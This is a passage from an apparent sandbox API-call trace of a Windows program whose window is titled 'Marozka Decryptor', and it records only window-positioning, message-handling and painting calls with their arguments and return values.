hWnd=0x1022c, lpRect=0x19d67c | out: lpRect=0x19d67c) returned 1 [0154.428] GetWindowRect (in: hWnd=0x1022c, lpRect=0x19d67c | out: lpRect=0x19d67c) returned 1 [0154.428] GetParent (hWnd=0x1022c) returned 0x1023c [0154.428] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1023c, lpPoints=0x19d67c, cPoints=0x2 | out: lpPoints=0x19d67c) returned -1638403 [0154.428] GetWindowTextLengthW (hWnd=0x1022c) returned 0 [0154.428] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.428] GetSystemMetrics (nIndex=42) returned 0 [0154.428] GetWindowTextW (in: hWnd=0x1022c, lpString=0x19d4fc, nMaxCount=1 | out: lpString="") returned 0 [0154.428] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0xd, wParam=0x1, lParam=0x19d4fc) returned 0x0 [0154.429] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0154.429] AdjustWindowRectEx (in: lpRect=0x19d41c, dwStyle=0x4e01000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19d41c) returned 1 [0154.429] GetParent (hWnd=0x1022c) returned 0x1023c [0154.429] SetWindowPos (hWnd=0x7004e, hWndInsertAfter=0x0, X=0, Y=95, cx=829, cy=459, uFlags=0x16) returned 1 [0154.429] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0x46, wParam=0x0, lParam=0x19d98c) returned 0x0 [0154.429] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0x83, wParam=0x1, lParam=0x19d964) returned 0x0 [0154.430] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0x47, wParam=0x0, lParam=0x19d98c) returned 0x0 [0154.430] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0x5, wParam=0x0, lParam=0x1cb033d) returned 0x0 [0154.430] GetClientRect (in: hWnd=0x7004e, lpRect=0x19d67c | out: lpRect=0x19d67c) returned 1 [0154.430] GetWindowRect (in: hWnd=0x7004e, lpRect=0x19d67c | out: lpRect=0x19d67c) returned 1 [0154.430] GetParent (hWnd=0x7004e) returned 0x1023c [0154.430] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1023c, lpPoints=0x19d67c, cPoints=0x2 | out: lpPoints=0x19d67c) returned -1638403 [0154.430] GetWindowTextLengthW (hWnd=0x7004e) returned 0 [0154.430] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.430] GetSystemMetrics (nIndex=42) returned 0 [0154.430] GetWindowTextW (in: hWnd=0x7004e, lpString=0x19d4fc, nMaxCount=1 | out: lpString="") returned 0 [0154.430] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xd, wParam=0x1, lParam=0x19d4fc) returned 0x0 [0154.430] GetParent (hWnd=0x7004e) returned 0x1023c [0154.430] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x5, wParam=0x0, lParam=0x22a033d) returned 0x0 [0154.430] GetClientRect (in: hWnd=0x1023e, lpRect=0x19e478 | out: lpRect=0x19e478) returned 1 [0154.430] GetWindowRect (in: hWnd=0x1023e, lpRect=0x19e478 | out: lpRect=0x19e478) returned 1 [0154.430] RedrawWindow (hWnd=0x1023e, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0154.430] GetSystemMenu (hWnd=0x1023e, bRevert=0) returned 0x0 [0154.430] GetWindowPlacement (in: hWnd=0x1023e, lpwndpl=0x19e7d0 | out: lpwndpl=0x19e7d0) returned 1 [0154.431] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x0) returned 1 [0154.431] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf030, uEnable=0x1) returned 1 [0154.431] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf060, uEnable=0x0) returned 1 [0154.431] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf120, uEnable=0x1) returned 1 [0154.431] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf000, uEnable=0x1) returned 1 [0154.431] SetParent (hWndChild=0x7004e, hWndNewParent=0x1023e) [0154.431] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0x18, wParam=0x0, lParam=0x0) returned 0x0 [0154.432] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0x46, wParam=0x0, lParam=0x19e7fc) returned 0x0 [0154.432] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0x22, wParam=0x0, lParam=0x0) returned 0x0 [0154.432] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0x47, wParam=0x0, lParam=0x19e7fc) returned 0x0 [0154.432] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0x3, wParam=0x0, lParam=0x5f0000) returned 0x0 [0154.432] GetClientRect (in: hWnd=0x7004e, lpRect=0x19de84 | out: lpRect=0x19de84) returned 1 [0154.432] GetWindowRect (in: hWnd=0x7004e, lpRect=0x19de84 | out: lpRect=0x19de84) returned 1 [0154.432] GetParent (hWnd=0x7004e) returned 0x1023e [0154.432] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1023e, lpPoints=0x19de84, cPoints=0x2 | out: lpPoints=0x19de84) returned -9961777 [0154.432] GetClientRect (in: hWnd=0x7004e, lpRect=0x19e4ec | out: lpRect=0x19e4ec) returned 1 [0154.432] GetWindowRect (in: hWnd=0x7004e, lpRect=0x19e4ec | out: lpRect=0x19e4ec) returned 1 [0154.432] GetParent (hWnd=0x7004e) returned 0x1023e [0154.432] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1023e, lpPoints=0x19e4ec, cPoints=0x2 | out: lpPoints=0x19e4ec) returned -9961777 [0154.432] GetParent (hWnd=0x7004e) returned 0x1023e [0154.433] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0154.433] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0x46, wParam=0x0, lParam=0x19e7fc) returned 0x0 [0154.433] GetWindowPlacement (in: hWnd=0x1023e, lpwndpl=0x19e544 | out: lpwndpl=0x19e544) returned 1 [0154.433] GetClientRect (in: hWnd=0x1023e, lpRect=0x19e4f0 | out: lpRect=0x19e4f0) returned 1 [0154.433] GetWindowTextLengthW (hWnd=0x1023e) returned 17 [0154.433] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x11 [0154.433] GetSystemMetrics (nIndex=42) returned 0 [0154.433] GetWindowTextW (in: hWnd=0x1023e, lpString=0x19e3a4, nMaxCount=18 | out: lpString="Marozka Decryptor") returned 17 [0154.433] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0xd, wParam=0x12, lParam=0x19e3a4) returned 0x11 [0154.433] GetClientRect (in: hWnd=0x1023e, lpRect=0x19e3f8 | out: lpRect=0x19e3f8) returned 1 [0154.433] GetCurrentObject (hdc=0x60100ce, type=0x1) returned 0xb00017 [0154.433] GetCurrentObject (hdc=0x60100ce, type=0x2) returned 0x900010 [0154.434] GetCurrentObject (hdc=0x60100ce, type=0x7) returned 0x400506ef [0154.434] GetCurrentObject (hdc=0x60100ce, type=0x6) returned 0x8a01c2 [0154.434] SaveDC (hdc=0x60100ce) returned 1 [0154.434] GetNearestColor (hdc=0x60100ce, color=0x302d2d) returned 0x302d2d [0154.434] CreateSolidBrush (color=0x302d2d) returned 0x3f10019b [0154.434] FillRect (hDC=0x60100ce, lprc=0x19e298, hbr=0x3f10019b) returned 1 [0154.434] DeleteObject (ho=0x3f10019b) returned 1 [0154.434] RestoreDC (hdc=0x60100ce, nSavedDC=-1) returned 1 [0154.434] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0154.434] GetClientRect (in: hWnd=0x7004e, lpRect=0x19e504 | out: lpRect=0x19e504) returned 1 [0154.434] GetWindowTextLengthW (hWnd=0x7004e) returned 0 [0154.434] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.435] GetSystemMetrics (nIndex=42) returned 0 [0154.435] GetWindowTextW (in: hWnd=0x7004e, lpString=0x19e3e4, nMaxCount=1 | out: lpString="") returned 0 [0154.435] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xd, wParam=0x1, lParam=0x19e3e4) returned 0x0 [0154.435] GetClientRect (in: hWnd=0x7004e, lpRect=0x19e40c | out: lpRect=0x19e40c) returned 1 [0154.435] GetCurrentObject (hdc=0x1b010670, type=0x1) returned 0xb00017 [0154.435] GetCurrentObject (hdc=0x1b010670, type=0x2) returned 0x900010 [0154.435] GetCurrentObject (hdc=0x1b010670, type=0x7) returned 0x400506ef [0154.435] GetCurrentObject (hdc=0x1b010670, type=0x6) returned 0x8a01c2 [0154.435] SaveDC (hdc=0x1b010670) returned 1 [0154.435] GetNearestColor (hdc=0x1b010670, color=0x323533) returned 0x323533 [0154.435] CreateSolidBrush (color=0x323533) returned 0x4010019b [0154.435] FillRect (hDC=0x1b010670, lprc=0x19e2ac, hbr=0x4010019b) returned 1 [0154.435] DeleteObject (ho=0x4010019b) returned 1 [0154.435] RestoreDC (hdc=0x1b010670, nSavedDC=-1) returned 1 [0154.436] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x40210, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1 [0154.436] SetTextColor (hdc=0x10105d6, color=0x6994f5) returned 0x0 [0154.436] SetBkColor (hdc=0x10105d6, color=0x302d2d) returned 0xffffff [0154.436] CreateSolidBrush (color=0x302d2d) returned 0x4110019b [0154.438] GetClientRect (in: hWnd=0x7004e, lpRect=0x19decc | out: lpRect=0x19decc) returned 1 [0154.438] GetWindowTextLengthW (hWnd=0x7004e) returned 0 [0154.438] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.438] GetSystemMetrics (nIndex=42) returned 0 [0154.438] GetWindowTextW (in: hWnd=0x7004e, lpString=0x19ddac, nMaxCount=1 | out: lpString="") returned 0 [0154.438] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xd, wParam=0x1, lParam=0x19ddac) returned 0x0 [0154.438] GetClientRect (in: hWnd=0x7004e, lpRect=0x19ddd4 | out: lpRect=0x19ddd4) returned 1 [0154.438] GetCurrentObject (hdc=0x47010719, type=0x1) returned 0xb00017 [0154.438] GetCurrentObject (hdc=0x47010719, type=0x2) returned 0x900010 [0154.438] GetCurrentObject (hdc=0x47010719, type=0x7) returned 0x1705019f [0154.439] GetCurrentObject (hdc=0x47010719, type=0x6) returned 0x8a01c2 [0154.439] SaveDC (hdc=0x47010719) returned 1 [0154.439] GetNearestColor (hdc=0x47010719, color=0x323533) returned 0x323533 [0154.439] CreateSolidBrush (color=0x323533) returned 0x35100714 [0154.439] FillRect (hDC=0x47010719, lprc=0x19dc74, hbr=0x35100714) returned 1 [0154.439] DeleteObject (ho=0x35100714) returned 1 [0154.439] RestoreDC (hdc=0x47010719, nSavedDC=-1) returned 1 [0154.439] GetWindowTextLengthW (hWnd=0x7004e) returned 0 [0154.439] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.439] GetSystemMetrics (nIndex=42) returned 0 [0154.439] GetWindowTextW (in: hWnd=0x7004e, lpString=0x19dd4c, nMaxCount=1 | out: lpString="") returned 0 [0154.439] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xd, wParam=0x1, lParam=0x19dd4c) returned 0x0 [0154.439] GetClientRect (in: hWnd=0x7004e, lpRect=0x19dd74 | out: lpRect=0x19dd74) returned 1 [0154.439] GetCurrentObject (hdc=0x47010719, type=0x1) returned 0xb00017 [0154.439] GetCurrentObject (hdc=0x47010719, type=0x2) returned 0x900010 [0154.439] GetCurrentObject (hdc=0x47010719, type=0x7) returned 0x1705019f [0154.440] GetCurrentObject (hdc=0x47010719, type=0x6) returned 0x8a01c2 [0154.440] SaveDC (hdc=0x47010719) returned 1 [0154.440] GetNearestColor (hdc=0x47010719, color=0x323533) returned 0x323533 [0154.440] CreateSolidBrush (color=0x323533) returned 0x36100714 [0154.440] FillRect (hDC=0x47010719, lprc=0x19dc14, hbr=0x36100714) returned 1 [0154.440] DeleteObject (ho=0x36100714) returned 1 [0154.440] RestoreDC (hdc=0x47010719, nSavedDC=-1) returned 1 [0154.440] GetWindowTextLengthW (hWnd=0x7004e) returned 0 [0154.440] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.440] GetSystemMetrics (nIndex=42) returned 0 [0154.440] GetWindowTextW (in: hWnd=0x7004e, lpString=0x19dd4c, nMaxCount=1 | out: lpString="") returned 0 [0154.440] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xd, wParam=0x1, lParam=0x19dd4c) returned 0x0 [0154.440] CoTaskMemAlloc (cb=0x6) returned 0xf227c0 [0154.445] GetWindowTextLengthW (hWnd=0x7004e) returned 0 [0154.445] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.445] GetSystemMetrics (nIndex=42) returned 0 [0154.446] GetWindowTextW (in: hWnd=0x7004e, lpString=0x19ddac, nMaxCount=1 | out: lpString="") returned 0 [0154.446] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xd, wParam=0x1, lParam=0x19ddac) returned 0x0 [0154.446] GetClientRect (in: hWnd=0x7004e, lpRect=0x19ddd4 | out: lpRect=0x19ddd4) returned 1 [0154.446] GetCurrentObject (hdc=0x48010719, type=0x1) returned 0xb00017 [0154.446] GetCurrentObject (hdc=0x48010719, type=0x2) returned 0x900010 [0154.446] GetCurrentObject (hdc=0x48010719, type=0x7) returned 0x1705019f [0154.446] GetCurrentObject (hdc=0x48010719, type=0x6) returned 0x8a01c2 [0154.446] SaveDC (hdc=0x48010719) returned 1 [0154.446] GetNearestColor (hdc=0x48010719, color=0x323533) returned 0x323533 [0154.446] CreateSolidBrush (color=0x323533) returned 0x3a10071f [0154.446] FillRect (hDC=0x48010719, lprc=0x19dc74, hbr=0x3a10071f) returned 1 [0154.446] DeleteObject (ho=0x3a10071f) returned 1 [0154.449] RestoreDC (hdc=0x48010719, nSavedDC=-1) returned 1 [0154.449] GetWindowTextLengthW (hWnd=0x7004e) returned 0 [0154.449] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.449] GetSystemMetrics (nIndex=42) returned 0 [0154.449] GetWindowTextW (in: hWnd=0x7004e, lpString=0x19dd4c, nMaxCount=1 | out: lpString="") returned 0 [0154.450] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xd, wParam=0x1, lParam=0x19dd4c) returned 0x0 [0154.450] GetClientRect (in: hWnd=0x7004e, lpRect=0x19dd74 | out: lpRect=0x19dd74) returned 1 [0154.450] GetCurrentObject (hdc=0x48010719, type=0x1) returned 0xb00017 [0154.450] GetCurrentObject (hdc=0x48010719, type=0x2) returned 0x900010 [0154.450] GetCurrentObject (hdc=0x48010719, type=0x7) returned 0x1705019f [0154.450] GetCurrentObject (hdc=0x48010719, type=0x6) returned 0x8a01c2 [0154.450] SaveDC (hdc=0x48010719) returned 1 [0154.450] GetNearestColor (hdc=0x48010719, color=0x323533) returned 0x323533 [0154.450] CreateSolidBrush (color=0x323533) returned 0x3b10071f [0154.450] FillRect (hDC=0x48010719, lprc=0x19dc14, hbr=0x3b10071f) returned 1 [0154.450] DeleteObject (ho=0x3b10071f) returned 1 [0154.450] RestoreDC (hdc=0x48010719, nSavedDC=-1) returned 1 [0154.450] GetWindowTextLengthW (hWnd=0x7004e) returned 0 [0154.450] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.450] GetSystemMetrics (nIndex=42) returned 0 [0154.450] GetWindowTextW (in: hWnd=0x7004e, lpString=0x19dd4c, nMaxCount=1 | out: lpString="") returned 0 [0154.450] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xd, wParam=0x1, lParam=0x19dd4c) returned 0x0 [0154.451] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x501fe, Msg=0x14, wParam=0x60100ce, lParam=0x0) returned 0x1 [0154.451] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x70044, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0154.452] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x80016, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1 [0154.452] SetTextColor (hdc=0x10105d6, color=0x0) returned 0x0 [0154.452] SetBkColor (hdc=0x10105d6, color=0xffffff) returned 0xffffff [0154.452] GetClientRect (in: hWnd=0x7004e, lpRect=0x19decc | out: lpRect=0x19decc) returned 1 [0154.452] GetWindowTextLengthW (hWnd=0x7004e) returned 0 [0154.452] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.452] GetSystemMetrics (nIndex=42) returned 0 [0154.452] GetWindowTextW (in: hWnd=0x7004e, lpString=0x19ddac, nMaxCount=1 | out: lpString="") returned 0 [0154.453] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xd, wParam=0x1, lParam=0x19ddac) returned 0x0 [0154.453] GetClientRect (in: hWnd=0x7004e, lpRect=0x19ddd4 | out: lpRect=0x19ddd4) returned 1 [0154.453] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0154.453] GetCurrentObject (hdc=0x10105d6, type=0x2) returned 0x900010 [0154.453] GetCurrentObject (hdc=0x10105d6, type=0x7) returned 0x400506ef [0154.453] GetCurrentObject (hdc=0x10105d6, type=0x6) returned 0x8a01c2 [0154.453] SaveDC (hdc=0x10105d6) returned 1 [0154.453] GetNearestColor (hdc=0x10105d6, color=0x323533) returned 0x323533 [0154.453] CreateSolidBrush (color=0x323533) returned 0x3c10071f [0154.453] FillRect (hDC=0x10105d6, lprc=0x19dc74, hbr=0x3c10071f) returned 1 [0154.453] DeleteObject (ho=0x3c10071f) returned 1 [0154.453] RestoreDC (hdc=0x10105d6, nSavedDC=-1) returned 1 [0154.453] GetWindowTextLengthW (hWnd=0x7004e) returned 0 [0154.453] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.453] GetSystemMetrics (nIndex=42) returned 0 [0154.453] GetWindowTextW (in: hWnd=0x7004e, lpString=0x19dd4c, nMaxCount=1 | out: lpString="") returned 0 [0154.453] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xd, wParam=0x1, lParam=0x19dd4c) returned 0x0 [0154.454] GetClientRect (in: hWnd=0x7004e, lpRect=0x19dd74 | out: lpRect=0x19dd74) returned 1 [0154.454] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0154.454] GetCurrentObject (hdc=0x10105d6, type=0x2) returned 0x900010 [0154.454] GetCurrentObject (hdc=0x10105d6, type=0x7) returned 0x400506ef [0154.454] GetCurrentObject (hdc=0x10105d6, type=0x6) returned 0x8a01c2 [0154.454] SaveDC (hdc=0x10105d6) returned 1 [0154.454] GetNearestColor (hdc=0x10105d6, color=0x323533) returned 0x323533 [0154.454] CreateSolidBrush (color=0x323533) returned 0x3d10071f [0154.454] FillRect (hDC=0x10105d6, lprc=0x19dc14, hbr=0x3d10071f) returned 1 [0154.454] DeleteObject (ho=0x3d10071f) returned 1 [0154.454] RestoreDC (hdc=0x10105d6, nSavedDC=-1) returned 1 [0154.454] GetWindowTextLengthW (hWnd=0x7004e) returned 0 [0154.454] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.454] GetSystemMetrics (nIndex=42) returned 0 [0154.454] GetWindowTextW (in: hWnd=0x7004e, lpString=0x19dd4c, nMaxCount=1 | out: lpString="") returned 0 [0154.454] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xd, wParam=0x1, lParam=0x19dd4c) returned 0x0 [0154.456] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x80016, Msg=0x14, wParam=0x1b010670, lParam=0x0) returned 0x1 [0154.457] SetTextColor (hdc=0x1b010670, color=0x0) returned 0x0 [0154.457] SetBkColor (hdc=0x1b010670, color=0xffffff) returned 0xffffff [0154.457] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2020e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1 [0154.457] SetTextColor (hdc=0x10105d6, color=0x0) returned 0x0 [0154.457] SetBkColor (hdc=0x10105d6, color=0xffffff) returned 0xffffff [0154.457] GetSysColorBrush (nIndex=5) returned 0x100079 [0154.457] GetClientRect (in: hWnd=0x7004e, lpRect=0x19decc | out: lpRect=0x19decc) returned 1 [0154.457] GetWindowTextLengthW (hWnd=0x7004e) returned 0 [0154.457] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.457] GetSystemMetrics (nIndex=42) returned 0 [0154.457] GetWindowTextW (in: hWnd=0x7004e, lpString=0x19ddac, nMaxCount=1 | out: lpString="") returned 0 [0154.457] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xd, wParam=0x1, lParam=0x19ddac) returned 0x0 [0154.457] GetClientRect (in: hWnd=0x7004e, lpRect=0x19ddd4 | out: lpRect=0x19ddd4) returned 1 [0154.457] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0154.458] GetCurrentObject (hdc=0x10105d6, type=0x2) returned 0x900010 [0154.458] GetCurrentObject (hdc=0x10105d6, type=0x7) returned 0x400506ef [0154.458] GetCurrentObject (hdc=0x10105d6, type=0x6) returned 0x8a01c2 [0154.458] SaveDC (hdc=0x10105d6) returned 1 [0154.458] GetNearestColor (hdc=0x10105d6, color=0x323533) returned 0x323533 [0154.458] CreateSolidBrush (color=0x323533) returned 0x3e10071f [0154.458] FillRect (hDC=0x10105d6, lprc=0x19dc74, hbr=0x3e10071f) returned 1 [0154.458] DeleteObject (ho=0x3e10071f) returned 1 [0154.458] RestoreDC (hdc=0x10105d6, nSavedDC=-1) returned 1 [0154.458] GetWindowTextLengthW (hWnd=0x7004e) returned 0 [0154.458] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.458] GetSystemMetrics (nIndex=42) returned 0 [0154.458] GetWindowTextW (in: hWnd=0x7004e, lpString=0x19dd4c, nMaxCount=1 | out: lpString="") returned 0 [0154.458] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xd, wParam=0x1, lParam=0x19dd4c) returned 0x0 [0154.458] GetClientRect (in: hWnd=0x7004e, lpRect=0x19dd74 | out: lpRect=0x19dd74) returned 1 [0154.458] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0154.458] GetCurrentObject (hdc=0x10105d6, type=0x2) returned 0x900010 [0154.458] GetCurrentObject (hdc=0x10105d6, type=0x7) returned 0x400506ef [0154.458] GetCurrentObject (hdc=0x10105d6, type=0x6) returned 0x8a01c2 [0154.459] SaveDC (hdc=0x10105d6) returned 1 [0154.459] GetNearestColor (hdc=0x10105d6, color=0x323533) returned 0x323533 [0154.459] CreateSolidBrush (color=0x323533) returned 0x3f10071f [0154.459] FillRect (hDC=0x10105d6, lprc=0x19dc14, hbr=0x3f10071f) returned 1 [0154.459] DeleteObject (ho=0x3f10071f) returned 1 [0154.459] RestoreDC (hdc=0x10105d6, nSavedDC=-1) returned 1 [0154.459] GetWindowTextLengthW (hWnd=0x7004e) returned 0 [0154.459] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.459] GetSystemMetrics (nIndex=42) returned 0 [0154.459] GetWindowTextW (in: hWnd=0x7004e, lpString=0x19dd4c, nMaxCount=1 | out: lpString="") returned 0 [0154.459] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xd, wParam=0x1, lParam=0x19dd4c) returned 0x0 [0154.460] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2020e, Msg=0x14, wParam=0x1b010670, lParam=0x0) returned 0x1 [0154.460] SetTextColor (hdc=0x1b010670, color=0x0) returned 0x0 [0154.460] SetBkColor (hdc=0x1b010670, color=0xffffff) returned 0xffffff [0154.460] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x401dc, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1 [0154.460] SetTextColor (hdc=0x10105d6, color=0x0) returned 0x0 [0154.460] SetBkColor (hdc=0x10105d6, color=0xffffff) returned 0xffffff [0154.460] GetSysColorBrush (nIndex=5) returned 0x100079 [0154.461] GetClientRect (in: hWnd=0x7004e, lpRect=0x19decc | out: lpRect=0x19decc) returned 1 [0154.461] GetWindowTextLengthW (hWnd=0x7004e) returned 0 [0154.461] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.461] GetSystemMetrics (nIndex=42) returned 0 [0154.461] GetWindowTextW (in: hWnd=0x7004e, lpString=0x19ddac, nMaxCount=1 | out: lpString="") returned 0 [0154.461] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xd, wParam=0x1, lParam=0x19ddac) returned 0x0 [0154.461] GetClientRect (in: hWnd=0x7004e, lpRect=0x19ddd4 | out: lpRect=0x19ddd4) returned 1 [0154.461] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0154.461] GetCurrentObject (hdc=0x10105d6, type=0x2) returned 0x900010 [0154.461] GetCurrentObject (hdc=0x10105d6, type=0x7) returned 0x400506ef [0154.461] GetCurrentObject (hdc=0x10105d6, type=0x6) returned 0x8a01c2 [0154.461] SaveDC (hdc=0x10105d6) returned 1 [0154.461] GetNearestColor (hdc=0x10105d6, color=0x323533) returned 0x323533 [0154.461] CreateSolidBrush (color=0x323533) returned 0x4010071f [0154.461] FillRect (hDC=0x10105d6, lprc=0x19dc74, hbr=0x4010071f) returned 1 [0154.461] DeleteObject (ho=0x4010071f) returned 1 [0154.462] RestoreDC (hdc=0x10105d6, nSavedDC=-1) returned 1 [0154.462] GetWindowTextLengthW (hWnd=0x7004e) returned 0 [0154.462] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.462] GetSystemMetrics (nIndex=42) returned 0 [0154.462] GetWindowTextW (in: hWnd=0x7004e, lpString=0x19dd4c, nMaxCount=1 | out: lpString="") returned 0 [0154.462] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xd, wParam=0x1, lParam=0x19dd4c) returned 0x0 [0154.462] GetClientRect (in: hWnd=0x7004e, lpRect=0x19dd74 | out: lpRect=0x19dd74) returned 1 [0154.462] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0154.462] GetCurrentObject (hdc=0x10105d6, type=0x2) returned 0x900010 [0154.467] GetCurrentObject (hdc=0x10105d6, type=0x7) returned 0x400506ef [0154.468] GetCurrentObject (hdc=0x10105d6, type=0x6) returned 0x8a01c2 [0154.468] SaveDC (hdc=0x10105d6) returned 1 [0154.468] GetWindowTextLengthW (hWnd=0x7004e) returned 0 [0154.468] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.468] GetSystemMetrics (nIndex=42) returned 0 [0154.468] GetWindowTextW (in: hWnd=0x7004e, lpString=0x19dd4c, nMaxCount=1 | out: lpString="") returned 0 [0154.468] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xd, wParam=0x1, lParam=0x19dd4c) returned 0x0 [0154.469] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x401dc, Msg=0x14, wParam=0x1b010670, lParam=0x0) returned 0x1 [0154.469] SetTextColor (hdc=0x1b010670, color=0x0) returned 0x0 [0154.469] SetBkColor (hdc=0x1b010670, color=0xffffff) returned 0xffffff [0154.469] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x60126, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1 [0154.470] SetTextColor (hdc=0x10105d6, color=0x0) returned 0x0 [0154.470] SetBkColor 